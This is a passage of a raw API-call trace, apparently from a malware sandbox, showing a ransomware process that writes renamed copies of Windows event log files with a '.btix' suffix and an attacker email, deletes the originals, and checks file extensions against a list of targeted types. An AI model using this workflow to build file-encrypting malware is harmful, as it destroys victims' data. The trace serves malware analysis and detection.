1 [0047.996] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0047.996] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0047.997] GetLastError () returned 0x0 [0047.997] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.138] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.139] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.139] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x12e, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x12e, lpOverlapped=0x0) returned 1 [0048.139] SetEndOfFile (hFile=0x358) returned 1 [0048.139] CloseHandle (hObject=0x358) returned 1 [0048.141] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.141] SetEndOfFile (hFile=0x2e0) returned 1 [0048.142] CloseHandle (hObject=0x2e0) returned 1 [0048.142] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.143] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4exe and dll.evtx")) returned 1 [0048.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.143] lstrlenW (lpString=".doc") returned 4 [0048.143] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.143] lstrlenW (lpString=".docx") returned 5 [0048.143] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.143] lstrlenW (lpString=".pdf") returned 4 [0048.143] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.143] lstrlenW (lpString=".xls") returned 4 [0048.143] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.143] lstrlenW (lpString=".xlsx") returned 5 [0048.143] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.143] lstrlenW (lpString=".ppt") returned 4 [0048.143] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.143] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.143] lstrlenW (lpString=".zip") returned 4 [0048.143] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.143] lstrlenW (lpString=".rar") returned 4 [0048.143] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.143] lstrlenW (lpString=".bz2") returned 4 [0048.143] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.143] lstrlenW (lpString=".7z") returned 3 [0048.143] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.144] lstrlenW (lpString=".dbf") returned 4 [0048.144] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.144] lstrlenW (lpString=".1cd") returned 4 [0048.144] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.144] lstrlenW (lpString=".jpg") returned 4 [0048.144] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.144] lstrlenW (lpString=".doc") returned 4 [0048.144] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString=".docx") returned 5 [0048.144] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.144] lstrlenW (lpString=".pdf") returned 4 [0048.144] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString=".xls") returned 4 [0048.144] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString=".xlsx") returned 5 [0048.144] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.144] lstrlenW (lpString=".ppt") returned 4 [0048.144] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.144] lstrlenW (lpString=".zip") returned 4 [0048.144] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString=".rar") returned 4 [0048.144] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString=".bz2") returned 4 [0048.144] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.144] lstrlenW (lpString=".7z") returned 3 [0048.144] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.144] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.144] lstrlenW (lpString=".dbf") returned 4 [0048.145] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.145] lstrlenW (lpString=".1cd") returned 4 [0048.145] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.145] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4EXE and DLL.evtx") returned 53 [0048.145] lstrlenW (lpString=".jpg") returned 4 [0048.145] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.145] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.145] lstrlenW (lpString="Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 56 [0048.145] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0048.145] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0048.145] CloseHandle (hObject=0x2e0) returned 1 [0048.145] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 0x20 [0048.145] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.145] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0048.145] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.146] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.146] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.146] GetLastError () returned 0x0 [0048.146] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.174] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.176] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.176] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x144, lpOverlapped=0x0) returned 1 [0048.176] SetEndOfFile (hFile=0x358) returned 1 [0048.178] CloseHandle (hObject=0x358) returned 1 [0048.179] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.179] SetEndOfFile (hFile=0x2e0) returned 1 [0048.180] CloseHandle (hObject=0x2e0) returned 1 [0048.180] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.181] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx" (normalized: "c:\\logs\\microsoft-windows-applocker%4packaged app-execution.evtx")) returned 1 [0048.181] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.181] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.181] lstrlenW (lpString=".doc") returned 4 [0048.181] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.181] lstrlenW (lpString=".docx") returned 5 [0048.181] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.181] lstrlenW (lpString=".pdf") returned 4 [0048.181] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.181] lstrlenW (lpString=".xls") returned 4 [0048.181] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.181] lstrlenW (lpString=".xlsx") returned 5 [0048.181] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.181] lstrlenW (lpString=".ppt") returned 4 [0048.181] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.181] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.181] lstrlenW (lpString=".zip") returned 4 [0048.181] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.181] lstrlenW (lpString=".rar") returned 4 [0048.181] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.181] lstrlenW (lpString=".bz2") returned 4 [0048.181] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.181] lstrlenW (lpString=".7z") returned 3 [0048.181] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.181] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.181] lstrlenW (lpString=".dbf") returned 4 [0048.181] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.182] lstrlenW (lpString=".1cd") returned 4 [0048.182] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.182] lstrlenW (lpString=".jpg") returned 4 [0048.182] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.182] lstrlenW (lpString=".doc") returned 4 [0048.182] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString=".docx") returned 5 [0048.182] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.182] lstrlenW (lpString=".pdf") returned 4 [0048.182] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString=".xls") returned 4 [0048.182] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString=".xlsx") returned 5 [0048.182] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.182] lstrlenW (lpString=".ppt") returned 4 [0048.182] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.182] lstrlenW (lpString=".zip") returned 4 [0048.182] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString=".rar") returned 4 [0048.182] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString=".bz2") returned 4 [0048.182] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString=".7z") returned 3 [0048.182] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.182] lstrlenW (lpString=".dbf") returned 4 [0048.182] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.182] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.182] lstrlenW (lpString=".1cd") returned 4 [0048.182] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.183] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppLocker%4Packaged app-Execution.evtx") returned 64 [0048.183] lstrlenW (lpString=".jpg") returned 4 [0048.183] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.183] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.183] lstrlenW (lpString="Microsoft-Windows-AppReadiness%4Admin.evtx") returned 42 [0048.183] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0048.186] GetFileSizeEx (in: hFile=0x2e0, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0048.186] CloseHandle (hObject=0x2e0) returned 1 [0048.186] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 0x20 [0048.186] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.186] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0048.186] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.186] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.186] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.186] GetLastError () returned 0x0 [0048.186] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.246] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.247] ReadFile (in: hFile=0x2e0, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.247] WriteFile (in: hFile=0x358, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x128, lpOverlapped=0x0) returned 1 [0048.247] SetEndOfFile (hFile=0x358) returned 1 [0048.247] CloseHandle (hObject=0x358) returned 1 [0048.249] SetFilePointerEx (in: hFile=0x2e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.249] SetEndOfFile (hFile=0x2e0) returned 1 [0048.250] CloseHandle (hObject=0x2e0) returned 1 [0048.251] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0048.251] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-appreadiness%4admin.evtx")) returned 1 [0048.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.251] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.251] lstrlenW (lpString=".doc") returned 4 [0048.251] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.251] lstrlenW (lpString=".docx") returned 5 [0048.251] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.251] lstrlenW (lpString=".pdf") returned 4 [0048.251] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.251] lstrlenW (lpString=".xls") returned 4 [0048.251] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.251] lstrlenW (lpString=".xlsx") returned 5 [0048.251] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.251] lstrlenW (lpString=".ppt") returned 4 [0048.251] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.252] lstrlenW (lpString=".zip") returned 4 [0048.252] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString=".rar") returned 4 [0048.252] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString=".bz2") returned 4 [0048.252] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString=".7z") returned 3 [0048.252] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.252] lstrlenW (lpString=".dbf") returned 4 [0048.252] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.252] lstrlenW (lpString=".1cd") returned 4 [0048.252] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.252] lstrlenW (lpString=".jpg") returned 4 [0048.252] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.252] lstrlenW (lpString=".doc") returned 4 [0048.252] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString=".docx") returned 5 [0048.252] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0048.252] lstrlenW (lpString=".pdf") returned 4 [0048.252] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString=".xls") returned 4 [0048.252] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString=".xlsx") returned 5 [0048.252] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0048.252] lstrlenW (lpString=".ppt") returned 4 [0048.252] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0048.252] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.252] lstrlenW (lpString=".zip") returned 4 [0048.252] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0048.253] lstrlenW (lpString=".rar") returned 4 [0048.253] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0048.253] lstrlenW (lpString=".bz2") returned 4 [0048.253] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0048.253] lstrlenW (lpString=".7z") returned 3 [0048.253] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0048.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.253] lstrlenW (lpString=".dbf") returned 4 [0048.253] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0048.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.253] lstrlenW (lpString=".1cd") returned 4 [0048.253] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0048.253] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-AppReadiness%4Admin.evtx") returned 50 [0048.253] lstrlenW (lpString=".jpg") returned 4 [0048.253] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0048.253] lstrcmpiW (lpString1=".evtx", lpString2=".btix") returned 1 [0048.253] lstrlenW (lpString="Microsoft-Windows-AppXDeployment%4Operational.evtx") returned 50 [0048.253] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0048.254] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x262ff14 | out: lpFileSize=0x262ff14*=69632) returned 1 [0048.254] CloseHandle (hObject=0x358) returned 1 [0048.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx")) returned 0x20 [0048.254] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0048.256] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0048.256] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.256] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x262fec0 | out: lpNewFilePointer=0x0) returned 1 [0048.256] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-AppXDeployment%4Operational.evtx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\logs\\microsoft-windows-appxdeployment%4operational.evtx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0048.257] GetLastError () returned 0x0 [0048.257] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x11000, lpOverlapped=0x0) returned 1 [0048.476] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x11010, lpOverlapped=0x0) returned 1 [0048.477] ReadFile (in: hFile=0x370, lpBuffer=0x38fa020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x262fecc, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesRead=0x262fecc*=0x0, lpOverlapped=0x0) returned 1 [0048.477] WriteFile (in: hFile=0x368, lpBuffer=0x38fa020*, nNumberOfBytesToWrite=0x138, lpNumberOfBytesWritten=0x262fc94, lpOverlapped=0x0 | out: lpBuffer=0x38fa020*, lpNumberOfBytesWritten=0x262fc94*=0x138, lpOverlapped=0x0) returned 1 [0048.477] SetEndOfFile (hFile=0x368) returned 1 [0048.477] CloseHandle (hObject=0x368) 